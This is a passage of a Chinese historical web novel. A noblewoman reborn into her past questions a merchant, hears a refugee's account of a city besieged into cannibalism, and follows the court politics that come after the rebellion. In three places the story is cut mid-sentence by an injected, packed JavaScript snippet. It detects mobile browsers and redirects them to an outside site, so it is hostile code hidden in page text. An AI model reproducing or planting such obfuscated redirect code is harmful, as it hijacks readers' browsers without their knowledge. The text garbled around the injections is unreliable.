“这场仗不知要打到什么时候,家中放在我名下的一些田产铺面,多是绸缎和珠宝铺子,我看最近的行情不大好,想趁着还值些钱,卖一部分出去折成现银,另一部分改投他处……劳烦康老板帮我留心合适的买家。” 康纳川心头一松。 这样的事本该托付给商行更为合适,但郑来仪这样的客人他也见过——尚未出阁,颇有私产的闺门小姐,想着不惊动家里的大人,趁早把实在的银两握在手里,变数来时也好多做打算,再不济也权当给自己准备嫁妆,毕竟庄园店铺不一定带得走,实实在在的银子却是方便得多。 且他听郑来仪方才那意思,似乎是有意投资做些别的产业,生意人的敏锐立时上头,认真道:“不知姑娘,对什么产业感兴趣呢?” 郑来仪敛眸:“我一个女儿家,也不大懂……”她抬眼看向康纳川,微微倾身过去,在他耳边轻吐几个字。 康纳川立时瞪圆眼睛,一时半刻没有应答,但见郑来仪神色认真,并无玩笑之意,在耐心等他答复。 “这……需要的银子可不少啊……” “我知道,银子的事不需您劳神,若能帮我牵线,事成后您的好处也不必我多说吧。” 康纳川思忖了一会,便道:“我知道了,会留意的。如果有消息,及时跟您报告。” 郑来仪似是对他有所保留的态度有所预料,点了点头。过一会又语气略带犹豫地道:“……实不相瞒,这匕首是一位朋友所赠,我见它式样特别,只因您见多识广,便想着来问问来历,麻烦您了,这事务须替我保密啊。” 康纳川一时目光闪烁,似是有些看不明白眼前这位郑四小姐,时而老辣精明,时而又显得十分稚嫩。转念又想,似乎她兜这么大一个圈子,醉翁之意不在酒,最后还是落在这把来历神秘的匕首上,搞不好这匕首是她情郎所赠。 越想越觉得合理,康纳川立时松弛了不少,又恢复了不动声色的圆滑。 “四小姐您这客气的,说什么麻烦,这事我记下了!放心,您的事我亲自上心,一定给您保密!” 最后一句,挤眉弄眼地压低了声音。 郑来仪将他心中十八弯的心思看得透彻,这样老油条的商人,不先发制人指东打西,如何让他为己所用。 她面上作出一副被人洞穿心思的羞赧,抿着唇点了点头。 康纳川亲自将郑来仪从后门送出去,眼看着她正要上马,斜刺里却窜出个人来,将郑小姐的腿一把扥住了。 “行行好吧!小姐,救救我!赏口饭吃吧!!” 郑来仪吓了一跳,好在康纳川反应快,立即冲上前将那人拉开,一边喝来人手,将人按倒在地上。 她这才来得及细看,抓住她的是个衣衫褴褛的乞丐,约莫三四十岁,头发蓬乱,倒春寒的时节只穿着一件单衣,脚上的鞋子已经磨破了,露出一双黑黢黢沾满泥水的脚,隐约有暗褐色的血迹。 “找死!什么人都敢拦啊!你知道你冲撞了谁么?!”康纳川呸了一声,一边转头温声关切,“四小姐,没事吧?” 郑来仪摇了摇头,看向那乞丐。 康纳川见她眸中露出不忍,眼神示意手下松些力道,那乞丐方才猛地被按住喘不过气,身上的重力一松,猛烈地咳嗽起来。 “唉,四小姐不常出门可能不知,这阵子流民多了不少,不知道从哪来的,最近都开始混进了玉京!您甭管了,这个一看就是没有照身的,小的一会把他送到衙门去!” 郑来仪却仔细问那流民:“你家乡是哪里的?” “大小姐,小的是从霁阳逃出来的,小的不是有意冒犯!!小的如今已经三天不曾进水米了!您救救我,赏我点吃的!!” 男人一边说着,一边撑起身子,伸手抓向郑来仪的衣服下摆,康纳川见势,又是一脚将他伸出的手臂踢了回去。 可是郑来仪却蹲下身来,靠近那形容邋遢的男人,沉声:“你说你从霁阳来?” 男人奋力抬头,目光畏缩着不敢再动手:“是,小的老家霁阳,被麒临军围了一个月了……” 郑来仪的声音发冷:“援军还没有到么?” “哪里来的援军?!”男人声音猛然高了起来,“……三十日了,叛军将霁阳围得铁桶一般!一开始百姓们还能靠着余粮坚持,到后来只能抓麻雀老鼠,吃皮甲,连守城的士兵都是面黄肌瘦,食不果腹,枪都抗不起来了,后来、后来便只能……” 他说不下去,沾满泥土的双手掩面,发出一声痛苦的哭嚎。 “只能如何?” “……只能吃人了!!”男人移开双手,面上现出几近狰狞的绝望,双目血红地看着郑来仪。 郑来仪一震,霎时面上血色全无。只觉手脚冰凉,喉头一阵恶心。 康纳川见状呵斥:“谁容许你在这危言耸听,将贵人吓成这样!” 男人不断摇头:“我没有说谎,我没有说谎……我的妻子、还有我不满三岁的孩子,他们全都被……全部都被……他们不是人!!是魔鬼!!都这样了为何不降?为何不降啊——?!!” 他已经意识模糊,不在乎自己说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158439|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是大逆不道的话。 “你不要激动,仔细说,霁阳发生了什么?”郑来仪的声音冷厉。 男人双眼含泪,断续讲述了自己的遭遇。 霁阳城围,他眼睁睁看着自己的妻儿随着众多妇孺一道被杀掉,充作守城士兵果腹的食物,城中哭声震天如同炼狱。而他因为身材瘦小,从城墙的狗洞偷跑出城,日夜脚步不停,直到藏进商队的货车,才混进了玉京。 他经过连日不停的逃亡,单薄的身体如何还承担得了这样波动的情绪,讲述完一切后,突然急剧地倒气,而后翻着白眼抽搐了几下,便倒伏在地上再也不动了。 康纳川叹了口气。 郑来仪再也忍不住,手帕掩口呕了出来。 康纳川知道她这状态是骑不了马了,吩咐人将尸体拉走,而后上前语气体贴地道:“我安排步辇送四小姐回去吧。” 郑来仪撑着墙,一时说不出话,只是闭着眼点了点头。 康纳川语气宽慰道:“打起仗来,总有这样的事,小姐别太放心上了,回去好好休息休息吧。” 男人惨然高喊“为何不降”的声音在郑来仪脑中挥之不去,神思恍惚了一路,直到抬辇的脚夫提着声音重复了第三遍“小姐,到了”,方才回过神来。 郑来仪掀帘下轿,发现轿夫并未将步辇停在正门口。只因正门已经停着一辆四面围合,紫毡宝顶的马车,一个身着紫袍、腰束金带的中年男人正从车上缓步下来,虽未戴冠,但身形挺拔,自带尊贵沉稳的气质。 是父亲郑远持。 她正要上前,却见父亲后面又跟着一人掀帘出来,面阔唇厚、一身红衣官服,一边下车,一边还嘴不停地在说着什么。 郑来仪神色微敛,这人竟是荷州刺史张绍鼎。 张绍鼎的声音远远飘进郑来仪耳朵,语气不无委屈。 “……您说说老弟我这回冤是不冤?我那边早都准备好了,荷州一半的粮草补给都已经划拨出来,谁成想他老人家就是按兵不动啊……” 他是方花实的表兄,算起来郑远持是他的表妹夫,但国公爷把持权柄,地位无两,张绍鼎也在其荫蔽之中,是故始终谦恭以后辈自居。 郑远持抿唇听着张绍鼎喋喋不休地抱怨,始终沉着一张脸不说话,余光突发觉了台阶边的郑来仪,神色顿时舒展。 郑来仪朝着冲他招手的父亲迎了上去:“父亲这是刚从宫里回来?” 一边朝着张绍鼎曲了曲膝,“张大人好。” “哎、哎!四小姐安好!四小姐安好!” 张绍鼎勉强挤出笑容,看见郑来仪,便想起她托人送来求援的那块玉佩。此刻嘴角虽笑着,眉毛却向下撇,似是愧疚、憋屈,又似是愤懑,却无从诉之。 而郑来仪似乎并未在意自己的难堪,只微微敛眸什么也没说。 张绍鼎不好再打扰郑远持和女儿团聚,冲着郑远持叉了叉手:“老兄,那小弟先回去,回头再叙。” 郑远持略颔首,最后安抚般地拍了拍张绍鼎的肩膀,似有宽解之意,张绍鼎心下微松,快步离去了。 郑远持转过身,目光柔和地看向女儿,以为她会立即冲进自己怀里一通撒娇,这一回路上可算是历了险也吃了苦,甚至大哭一场也是应该的。 却听见郑来仪语气冷静地问自己:“荷州守备军为何没有增援霁阳?” 9. 邻援皆携贰 郑远持一怔,想起方才女儿在张绍鼎面前不甚热络的状态,下意识为他开解:“这事不怪张绍鼎。” “所以舅舅为什么不出兵?他去哪里了?” 郑远持面上笑容渐渐淡了,仔细打量女儿,这才发现她状态不太对:面色些许发白,见到自己更是没有半分笑意,琢磨她那口气,甚至是颇为严厉的责怪。 他没有立时回答郑来仪的问题,只是一手拢着她的肩膀跨进府院,垂眸轻声问:“丫头这是去哪儿了?怎么也不带个人在身边?” 上一世死于非命的父亲此刻用他宽大敦厚的怀抱笼罩着自己,鼻息间是他官袍上久违的沉香味道。一时间思念、委屈、担忧、惊惧种种情绪混杂成一团巨大的棉絮,将郑来仪的鼻子堵住,眼眶也瞬间红了。 她在游廊的紫藤萝架子下面突然站住。 郑远持跟着她停下脚步,看女儿眼睛红红地怔了一会,而后一头扎进了自己的怀抱。 抚上女儿的发鬓,郑国公轻舒一口气,是他的椒椒回来了。 “父亲!女儿以为再也见不到您了!女儿好想您……” 郑远持任凭着宝贝女儿在怀中啜泣一会儿,气息逐渐平复了,方才拍拍她的背,安慰道:“我们椒椒福泽深厚,总能化险为夷,有阿耶在,不怕、不怕……” 郑来仪站直了,红着眼看向父亲。 郑远持已经年过半百,依旧仪态端庄,风神挺迈,久居上位的他在同僚面前一向喜怒不形于色,在女儿面前却从来都带着笑,爱意从眼角的纹路中不加掩饰地流露出来,让她心头既热又痛。 “阿耶这几日一直宿在麟德堂么?宫中一定忙坏了吧?” 郑远持略一点头,只关心女儿如何,“椒椒这是从哪里回来,现在好告诉阿耶了么?” “我……去了西市——” 郑来仪抬头道,“阿耶,我遇到了一个霁阳逃出来的难民,他说霁阳被围月余,始终没有援军至,城中消耗一空,已经开始……开始吃人了!是真的么?” 她声音抖得厉害,“为什么一直没有援军?霁阳城破,京畿便危在旦夕——” 郑远持沉声道:“霁阳之围已解。” 郑来仪心中一动,当即问道:“什么时候解的?” “三日前。” “是谁解的?” 郑远持揉了揉眉心,面露疲色。 自麒临军攻破北境,他和兵部、吏部、户部的几个主事一直宿在宫中,连续数天日夜颠倒。雪片一样的战报令怀光帝积蓄已久的愤怒终于爆发,大动肝火地把一只昆仑玉盏摔碎在大殿中央的沙盘上,褐色的茶汤顺着北部的山川沟壑流淌了一路。 郑远持率众臣在集英殿中跪至天黑,兵部尚书杜昌益额头贴地,在他身后大气都不敢喘。 北境军阀的实力在天高皇帝远的地方野蛮生长,朝廷对段良麒的底细知之甚少,而中州寥寥几个掌握兵权的宗室则恃兵恣擅,眼睛只盯着自己的一亩三分地。杜昌益这个兵部尚书,表面上掌天下诸军,实际做得太过为难。 怀光帝李旳愤怒的视线在杜昌益身上短暂停留,最终没说什么——兵部之处境,他心如明镜,最后只是越过他,停在快马加鞭赶回玉京的张绍鼎身上。 最后将张绍鼎骂了个狗血临头。 若不是又一则新的战报飞驰而来,张绍鼎差点就要在皇帝和同僚面前委屈得哭出来了。 这一则战报如同一张刑满释放的令文,将连日“关押”在紫宸宫的众臣解放了出来。 而战报的来源,却出乎所有人的意料。它来自麒临军中。 一名身在敌营的部将一把火点燃了叛军位于槊方的粮草辎重,停留在霁阳外围的麒临军面临后路断绝的风险,只能被迫回撤。 被围三十三日后,霁阳之围终于解了。 郑远持被怀光帝最后留下,亲眼看到了随着战报送回的破碎的麒临军旗一角。 寥寥数句血书阐明立场,也说清了前方战场的形势:勤王义军不愿助纣为虐,甘愿自断臂膀,挥刀泪斩昔日同袍。北境局势虽然危急,但叛军战线太长,一旦失去粮草支撑,难以为继。义军已经入驻霁阳,将乘胜追击,五日后誓提段贼项上人头,入都请罪。 落款只有两个字:青云。 怀光帝短粗的手指反复摩挲着这张从烽火前线辗转带回的战报,仰头吐出一口气,而后紧紧握住了郑远持的手。 “天佑我大祈啊!惟宰!” 女儿抓着自己的手力道不重,却让郑远持一时恍惚,想起了皇帝的感慨。 他吁出一口气,只对郑来仪道:“现在还不好说——战事还没有完全结束,这几日不要出门了,椒椒且忍一忍,过阵子尘埃落定,阿耶陪你去平康坊看柘枝舞,好么?” “是麒临军中有人反水,助了朝廷破局是么?”郑来仪没有半点玩乐的心情。 郑远持一愣,下意识便问:“是谁告诉你的?” 他看见女儿面上神色现出一瞬间的灰败,似有不甘,又似不解。 “我明明让郑泰去求援,这一回本来可以……” 郑远持语气严肃了几分:“我听郑泰说了,椒椒,虽然你一向聪明伶俐,但这一回真的把爹爹吓得不轻!” 他语带告诫,“——那样的情形,你怎么能让郑泰离开,自己孤身一人留在荒山野岭中呢?前方战事再急,也不需要你一个姑娘家去插手。” “尤其是还有素不相识的人在场,万一被有心之人利用,那小子的背景底细爹爹还没空去查,姑娘家名节重要——” “我错了父亲,下次不会了。”郑来仪抬头,利落地承认了错误。 郑远持拍了拍女儿肩膀,语气又软了下来,“懂事就好,前线战事不是你该操心的,总之现在要听话,这几日都乖乖在府里,不然你母亲又要怪我……” 他牵着郑来仪的手迈进花厅,继续道,“阿耶晚些还要再去宫里,这一趟回来,是专为看看你,这阵子事情太多,不能多陪椒椒。” “我懂得,父亲放心,椒椒记得了。” 似乎只是一瞬间,她又恢复了那个乖巧可人的女儿姿态。 郑远持留在府中用了顿饭食,这是郑国公府为时一个月以来人丁重又齐全的聚餐,除了已经出嫁的长姊薜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158440|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萝,几个孩子都在了。 席上连一向内敛的绵韵都主动问候父亲头风发作的情况,反而是平日里一向活泼的四丫头,闷头吃饭,话少得反常。 “绵韵的婚事,来打听的世家不少,我和花实商量着,杜尚书府上的公子不错……” 李砚卿将那例箸头春放在丈夫面前,一边汇报后宅的大事。当事人郑绵韵正在低声和妹妹郑来仪说着话,闻言脸又红了,一双手在桌案下面来回绞着帕子。 郑远持没表态,捏着银箸只是道:“再多看看。” 方花实闻言没说话,向夫人投去一眼,后者笑着道:“你们爷俩是怎么回事,说的话如出一辙的。” 郑远持扬眉:“怎么,绵韵自己也没看上?那你们还上赶着作甚么?” “不是绵韵,是椒椒。”李砚卿看了郑来仪一眼。 郑远持放下筷子,略带意外地看向四丫头,后者也正一脸心虚地看着他。 方花实接过话头,玩笑话的语气:“那日椒椒来我院里,听说我们给绵韵挑的郎婿候选,和老爷说过一模一样的话,这可不是巧了?话说,这杜家公子什么时候得罪的你们爷俩?” 郑远持唇角微勾看着郑来仪:“是么?椒椒有何高见?” “没什么,那杜境宽我见过一回,话太多了,不够稳重,不衬我三姐。” 除了绵韵,席上所有人都笑了起来。 李砚卿抿着嘴唇,笑意淡淡的,她知道自己这女儿,眼光虽然挑剔,却鲜少会在人前直戳短处,今日她的表现确实有些奇怪了。 反倒是方花实一脸好奇:“看来椒椒心里是有杆秤的?需得什么要求?昂藏七尺,还是傅粉何郎?” 她想到什么,突然一拍手,“我听郑泰说了,这回从蓁州回来,他们在路上遇到一位少年将军,武艺高强,难得的是神采英拔,气度不凡呢!” 李砚卿微感讶异,自家女儿却从未和自己提起过有这么个人,当下和身旁的郑远持异口同声:“果真如此?” “郑泰的眼光,能信么?”郑来仪口气死板板的。 方花实笑道:“看来椒椒是没看上。” 郑远持拿起软巾掖掖嘴角,抬手刮了刮女儿的脸颊:“我们椒椒眼光高,看不上没关系,下回阿爷把朝中适龄的才俊都叫到府里议事,让你在后面自己挑!” 郑来仪面上的笑容一时凝固,想起前世父亲为自己安排的那一场选婿的闹剧。 她藏身于屏风后,看见厅中济济才俊当中叔山梧那一袭不羁的身影。日思夜想的人就在眼前,那时他一身战甲尚未卸下,挎刀宽坐,眉眼凌厉,与周围环境显得如此格格不入。 而他敏锐察觉暗处的窥伺,猛一抬眼,视线与她冷不丁相撞。 心狠狠跳一下,郑来仪便红着脸遥遥指中了人,对父亲说“女儿要选他做我的郎婿!” 也不知是不是自己的错觉,当时那始终压着眉眼的人竟而勾了勾唇角。 思及当年,郑来仪嘴角发僵,手中的筷子放了下来。 “真若如此,岂不叫人笑话我们郑家的女儿恨嫁?”她的声音冷得有些反常。 10. 藩翰谅难弃 郑远持笑了笑,当下揭过不提。眼神扫向席上一直在女人们的交谈中沉默着的成帷,慈父的神态切换成了严厉。 “嘉树在兵部司如何?近来都做些什么?” 郑成帷放下手上的汤匙,姿态恭敬地回话:“父亲,儿子一切都好,上官对我也很关照。每日主要负责诸军名簿归档,军籍的管理和清点。” 郑远持“嗯”了一声,神色淡淡的:“兵部司令史文书工作琐碎,权当磨一磨你的性子——不过男儿么,也不一定就困于案头,还是要多出去历练历练。” 郑成帷垂头应是。 李砚卿看了丈夫一眼,咂摸出些什么。 晚间郑远持还要回宫中,这顿饭便没有用太久,一家之主起身后,众人也随着离席。 郑绵韵落在最后,见长辈们离得远了,便扯了扯郑来仪的袖子:“椒椒,你真的觉得杜境宽不好么?” 郑来仪看见绵韵清澈的眼神,暗自叹了口气:“也不是不好……我只是觉得……” “觉得什么?” 郑来仪看着她:“绵韵,你真的心悦那个杜境宽?就因为上次他捡了你的彩胜?” 绵韵语气认真起来,否认道:“没、没有……谈不上心悦,就是、就是觉得,他没有你说的那么差吧。再说了,也不能仅凭外表就断定一个人,不是么?” “……你说的是。”郑来仪只好承认。 “所以你们在路上遇到的那个少年将军,是什么样子?”郑绵韵实在好奇。 郑来仪信口:“不是什么将军,一个低阶捉生将。还不如杜境宽。身长五尺、膀大腰圆,像西市卖猪肉的。” 绵韵闻言傻眼。那郑泰为何那么说,被人家下了蛊么? - 东院里,早就候着的丫鬟已经准备好老爷入宫的一应事物。 李砚卿扫一眼丫鬟手中捧着的进德冠,问丈夫:“还戴冠么?” 郑远持摇摇头,语气带着明显的疲乏:“官袍也不用了,就着常服即可。” 丫鬟有条不紊地递上一套熏制过的圆领袍服,让夫人亲手为老爷更衣。 郑远持闭着眼,展开手臂任妻子摆布,套好外袍,李砚卿垂着头专注去系他腰间的蹀躞带,一边开口:“兵部这回又挨训了?” “没有,” 郑远持叹一口气,露出外人面前不曾展露的坦率,“——老杜这兵部尚书做得也是不容易啊!” 李砚卿平素从不过问郑远持的公务,但并不代表她无法敏锐查知朝堂上发生的一切。今日席上丈夫对杜家的态度过于明显,先是对绵韵择婿的态度,而后是对成帷的教诲,她自然能联想到背后原因。 如今骁将锐士,善马精金,俱空于京师。根源虽不在兵部,但杜昌益要受的冷落可以想见。 父母之爱子,必为之计深远。郑远持一贯认为,家族之间相互支援,其法不出其二:一是婚,二便是宦。门阀之间以婚姻相固结,所谓婚姻,先是求族,然后择人。 身为妻子的李砚卿也是这么想。 虽然当年她认识郑远持时,他不过是没落的荥阳郑氏流落在蓁州的远房子弟,在二十六岁那一年一举考中状元,进入弘文馆作校书郎,又被皇帝看中当上了右拾遗。 一度盛传当年的状元郎被宫中看中,是驸马的人选。郑远持却没有尚公主,而是和身为李氏旁支的敦亲王之女成了婚。 李砚卿看中他沉稳内敛,腹中有乾坤,兼之相貌温雅,仪表堂堂。二人成婚之后,从来和谐而默契,既像夫妻,又如伙伴。 比如此刻,郑远持一句话,她就明白了他背后的意思,并且准确地联想到其他。 “张绍鼎这一回代兄长受过了吧?” 郑远持深深地看了妻子一眼,一时没有说话。 李砚卿的兄长虢王李澹,身为淮南防御使,在知道叛军已然攻破北境,霁阳危如累卵的情况下,擅离职守,甚至在收到祈州刺史正式求援的印信后,依然带着两万荷州守备军观望不进,坐视霁阳形势日蹙。 兄长李澹的性子,李砚卿再清楚不过。他从小好武,为人高傲,身为掌握军权的唯一李氏子弟,虢王除了皇帝,鲜少听命于旁人。 李澹是怀光帝李旳从小的玩伴,皇帝六岁时在金澧池玩耍不慎掉入水中,赶巧居然没有一个宫人在身边,是凫水半吊子的远房堂兄李澹将皇帝连拉带拽救上了岸。 因这桩旧事,血脉疏远的敦亲王一支始终受着皇帝的厚待。 李澹面临文臣的弹劾,第一时间入宫陈情于皇兄面前,二人在含元殿密话了一个时辰,李澹离开后,怀光帝只是一脸疲惫地坐在龙案后,再没过多责怪虢王一句。 其中原因不足为外人道,但郑远持不难猜出自己这个内兄心中的计较。 身为关内两大军事力量的领袖,淮南防御使李澹与统率禁军的司宫台少监袁振一向是王不见王。袁振除了掌握禁中的主导权,防区也从玉京向京畿外展开。李澹停留淮南道不越境,无非是自恃麾下精锐,若率兵进入山南,便距离禁军势力范围更近一步。 李澹唯恐收到禁军节制,更惧为袁振所袭,是故不愿分兵离开自己的大本营。荷州守备军与禁军之间的矛盾,成了导致霁阳失援的直接原因。 边陲势强既如此,朝廷势弱又如彼,玉京危如累卵的情势下,中枢居然无法态度强硬地命令将士出兵,委实令怀光帝心惊不已。 皇帝不能展露过多自己的脆弱,只是在心腹郑国公面前流露出“天佑大祈”的庆幸。 “若不是麒临军内部并非铁板一块,这一次虢王真的要惹大祸。” 郑远持最后只是简单点评了一句。 他已经穿戴完毕,临出门前又将妻子的手拉过来,放在手心,感叹的语气:“椒椒真的长大了,这一回独自在外,居然临危不乱,能想到让郑泰带着御赐的玉佩去荷州求援。” 最后点点头,“——不愧是我郑远持的女儿!” “哼,这话可别让那丫头听见!” 李砚卿想起什么,面有忧思地和丈夫交换意见,“老爷不觉得椒椒这一次回来,变了不少?” “哪里变了?”郑远持扬眉。 “话少了,心思似乎重了许多。她还跟花实讲,说是嫁人没意思,要一直陪在我们身边……” 郑远持闻言开怀不已:“果真?哈哈哈哈!乖女儿,不枉我养她这么多年!” 李砚卿笑不出来:“这么消极的话,哪里像她说得出口的,老爷可真是没心没肺!” 郑远持抬手刮了下妻子的脸颊,温言宽慰:“好啦,不要操心太过,她这一次也是吓到了,难免要调剂一下,等过阵子外面太平了,多带她出去走走,松松心情,小女儿心思活泛,哪有消解不了的愁闷呢!” 李砚卿点头:“是了,我也这么想。这乱糟糟的日子快些结束吧。” “快了,快了。” 郑远持最后抱了抱自己的妻子,方出了家门。 - 贞端二十一年五月,历时八年的麒临之乱结束了。 传说中的青云将军奉旨入都,在世人好奇的目光中露出真面目。 叔山寻率段良麒残部十四万众进入京畿,在玉京城外卸甲,仅带领一支十余人的轻骑队伍,从清泰门迤逦入都,沿途受到了民众的热情欢迎。 百姓们高呼着“青云将军”,怀着敬仰的眼神仰头看高头大马上的救国功臣。 传闻中斩杀段良麒于霁阳城外的槊方节帅身长九尺、形如铁塔,手舞一把重达五十余斤的□□,将敌人一举刺穿。可见多了威风凛凛武将风范的玉京百姓看到叔山寻的真人后,却颇觉意外。 “说是那叔山将军真人气质文雅,面容白净,不似武将,倒像文臣呢!” 方花实如此转述着坊市间听来的传言,李砚卿听完淡淡一笑。 “是么?倒也不稀奇,天授年间韩大将军,不也是才兼文武,出将入相。想来,英雄人物大抵类似吧。” 方姨娘认同地点头,一边喃喃自语,“也不知这叔山将军府上有无适龄的子弟……” 李砚卿瞬间理会:“便等前朝叙功封赏完毕,请老爷将叔山将军请过府来一叙,也无不可。” 叙功一事,却意外有了些波折。 集英殿上,百官汇聚一堂。 皇帝朗声宣布,参与对抗麒临叛军的将士,功分九等,人人皆有恩赏,而其中居殊功第一等的青山将军叔山寻,在众武将艳羡的目光中缓缓跪地,在御前行完稽首礼,而后挺身直视着金銮之上,沉声说了句“愧不敢受”。 西移的日光射入殿内,将黑色的大理石地面晒得发烫。殿上的气氛却因叔山寻而凉至冰点,一时落针可闻。 被皇帝许可殿前仍能佩刀的虢王李澹撇了撇嘴,兵部尚书杜昌益吃惊的目光停在叔山寻的身上一时忘记收回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158441|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。而群臣队列之首的郑远持手持笏板,身型依旧不动如山。 叔山寻迎着皇帝因尴尬而一时阴晴不定的眸光,镇静自若。 他在这死一般的寂静中不疾不徐地开口,主张降叛头功应归由苦守霁阳三十三日,最终壮烈殉国的霁阳太守兼祈州都知兵马使颜青沅。 “当其围守时,外无蚍蜉蚁子之援,所欲忠者,国与主耳1。此等忠臣义士,纵然身死,其功勋又怎是吾等后人可比,是故这降叛首功,臣愧不敢居!” 好一个“所欲忠者,国与主耳”,此话诛心! 杜昌益第一时间看向李澹,他已是面色铁青,一把胡须吹得上下浮动,而一旁兼领禁军的司宫台少监袁振则扬起眉梢,难掩看好戏的神色。 怀光帝方才被拒的些许不快一扫而空,因叔山寻的话,想起苦守霁阳的顔青沅,胸臆中生出无限感慨,一时眼眶也红了。 然而他没有忽视殿中诸人各异的神色,尤其是自己的堂兄李澹的难堪,只是抿着唇沉默了一会,半晌改而宣布: “朕遐观方册,祸乱已弭,深感惟新之命方始,体元居正今则其时。可改贞端二十一年为昌顺元年。” 一时间大殿之中山呼万岁,群臣肃穆行礼,恭贺大祈重获新生,因叔山寻一席话带来的压抑气氛终究被翻了篇。 最后怀光帝命人收拾含章别苑给叔山将军暂时居停。至于勋封殊功之事,待颜太守遗体迎入玉京后,再作计较。 群臣自集英殿鱼贯而出。郑远持自台阶东侧向下走,身旁跟着三五老友,经过的同僚无不恭敬道一声别;而叔山寻独自走在另一侧,无人问津,一身嶙峋气质显得脚下的玉阶都冷清了些。 “真是会诛心啊!可怜虢王险些背过气去,啧啧,这青云将军不简单……” 杜昌益在郑远持旁边小声点评,这会他倒是暂时将虢王给自己吃过的瘪抛诸脑后,新人一来,立即自动划拨了阵营。 郑远持向台阶那一头孑然独行的人递去平静无波的一眼,并未接茬。 他视线瞄到远远已经走下玉阶,一身袴褶,腰悬佩刀的身影,扬声喊住人。 “虢王殿下。” 李澹停住脚步,转头向上方看,叔山寻与他视线交汇,漠然移开了视线。李澹面露愠色,狠狠“呸”了一声。 杜昌益料想二人有事要谈,于是冲着郑远持叉了叉手,先行告辞。 “国公爷有何事?” 虢王语气中尚有未消解的愠怒。郑远持走到他身边,与他并肩而行,等到出了隆福门,方才开口。 “阿砚思念兄长,虢王殿下难得回都,晚上去我那里用一顿便饭吧。” 郑来仪和绵韵一道在方姨娘处用的晚食,饭后消食散步时,听说舅舅来了家里。 她让紫袖先回房,自己便往青岫堂的方向去,院中空无一人,正觉纳闷,突然听见隔壁父亲的书房中传来一声怒喝。 “什么青山将军,狗屁!老子凭什么捧他的臭脚?!!” 正是李澹的声音。 郑来仪心中一动,两步走到廊下,在书房门外站定了。 “叔山寻故作姿态,虚伪矫饰,倘若真视名利如粪土,何不将那十四万大军速速交回朝廷?”李澹的声音隔着一道门清晰地传来。 郑远持冷冷道:“他敢将大军不远千里一路南下带入关中,入朝廷之彀。殿下呢?荷州守备军到最后不也没有走到霁阳城下么?” 书房中一时沉默,郑来仪能想象舅舅红一阵白一阵的脸色。能用这种语气和虢王说话的,也只会有他的妹夫郑国公了。 李澹长叹一口气,恨恨道:“那还不是因有人在旁虎视眈眈!” 他看向郑远持,“朝中诸将,凡有功者,有几个不曾遭他袁振加害构陷?我之顾虑,就算是陛下也能理解——” 郑远持打断:“所以殿下此时才更应体会陛下的心情。” “什么心情?” 郑远持的声音变得冷峻:“忠臣死节的难寻,和赏不酬勋的痛心!” 李澹一怔,而后烦乱道:“无论如何,让我去附和叔山寻那厮,去向陛下进言为顔青沅厚葬立志,本王做不到!” 他鼻子里出气,语气十分不甘,“又不是本王让他自刎的!本王真是想不通,围都解了,怎么就那么大的气性?!” 门外的郑来仪听到这里,头皮隐隐发麻。 顔青沅是自尽的? 11. 安得世流芳 郑来仪站在书房外,沉眉搜刮记忆。 她记得上一世霁阳之围解后,霁阳太守顔青沅还和叔山梧一同入都受勋。 而这一回不知中间发生了什么,带兵入都的人成了叔山寻——叔山梧的父亲。 顔青沅死了,叔山梧更不知此刻身在何处。 难道是因为自己的插手?可按照自己本来的设想,得到头功的应该是荷州守备军。郑来仪此时才意识到大祈的局势没有自己想象得那么简单。 颜青沅如此刚烈,而看上去无所不能的舅舅,却是个……懦夫。 她恨铁不成钢的在心中下了个结论。若是荷州守备军及时出手,何来叔山氏的出头之日? 此时书房中的谈话进入了死局。郑远持放弃僵持,只道:“虢王殿下做不到,总有人能做到,您已经在霁阳一事上落了下风,我的建议,还是好好考虑一下——” 他语重心长,“——依照殿下对袁振的了解,他能不在此事上大做文章么?” 李澹走时面色不好看,见到书房外的外甥女,一向总要玩笑逗弄一番的,也只是潦草关心了几句,便匆匆离开了。 “椒椒在外面?”书房里传来郑远持的声音。 郑来仪清脆地应了一声,迈进书房。见父亲靠坐在一把黄花梨的圈椅后,手边几案上,两盏茶一盏喝了一半,另一盏尚冒着热气。 郑远持冲女儿招招手,示意她过去。 书案上摊散着一卷卷公文,郑来仪瞥了一眼,只依稀看到“封槊方节度”五个字,心中一动。 前世叔山寻在立功入都之后便被封为槊方节度使,回归祖籍,收归了当年的旧部,就此为叔山氏崛起打下了基础。 这应当便是父亲正在考虑如何给叔山寻勋封的奏文草稿。看样子,他似乎还没有下定主意。 她端起靠近郑远持手边的茶盏,去换了水又放回父亲手边,轻声问道:“舅舅怎么了,心情不好么?” “你舅舅有些烦心事,不甚要紧。” 